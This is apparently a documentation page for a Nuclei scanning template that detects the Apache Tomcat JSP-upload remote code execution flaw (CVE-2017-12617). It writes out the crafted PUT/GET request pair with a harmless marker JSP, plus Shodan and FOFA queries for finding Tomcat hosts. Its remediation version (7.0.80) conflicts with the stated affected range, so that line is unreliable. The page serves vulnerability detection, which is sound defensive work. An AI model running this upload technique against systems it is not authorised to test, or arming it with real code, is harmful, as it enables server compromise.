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Apache Tomcat - Remote Code Execution

ID: CVE-2017-12617

Severity: high

Author: pussycat0x

Tags: cve2017,cve,tomcat,apache,rce,kev,intrusive

Description

Section titled “Description”

When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.

YAML Source

Section titled “YAML Source”
id: CVE-2017-12617


info:
  name: Apache Tomcat - Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
  remediation: |
    Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability.
  reference:
    - https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/
    - https://github.com/cyberheartmi9/CVE-2017-12617
    - https://www.exploit-db.com/exploits/43008
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12617
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: "CVE-2017-12617"
    cwe-id: CWE-434
    epss-score: 0.97533
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: apache
    product: tomcat
    shodan-query:
      - html:"Apache Tomcat"
      - http.title:"apache tomcat"
      - http.html:"apache tomcat"
      - cpe:"cpe:2.3:a:apache:tomcat"
    fofa-query:
      - body="apache tomcat"
      - title="apache tomcat"
    google-query: intitle:"apache tomcat"
  tags: cve2017,cve,tomcat,apache,rce,kev,intrusive


http:
  - raw:
      - |
        PUT /{{randstr}}.jsp/ HTTP/1.1
        Host: {{Hostname}}


        <% out.println("CVE-2017-12617");%>
      - |
        GET /{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "CVE-2017-12617"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022004acc59390b8a398685d623317a4a3401159663724aea48e8660f4b45b8dcba3022100ee9091c2b1b29f48ea1da9541538daf28e844fb04bb3c9a5708d05924b2e5cd5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-12617.yaml"

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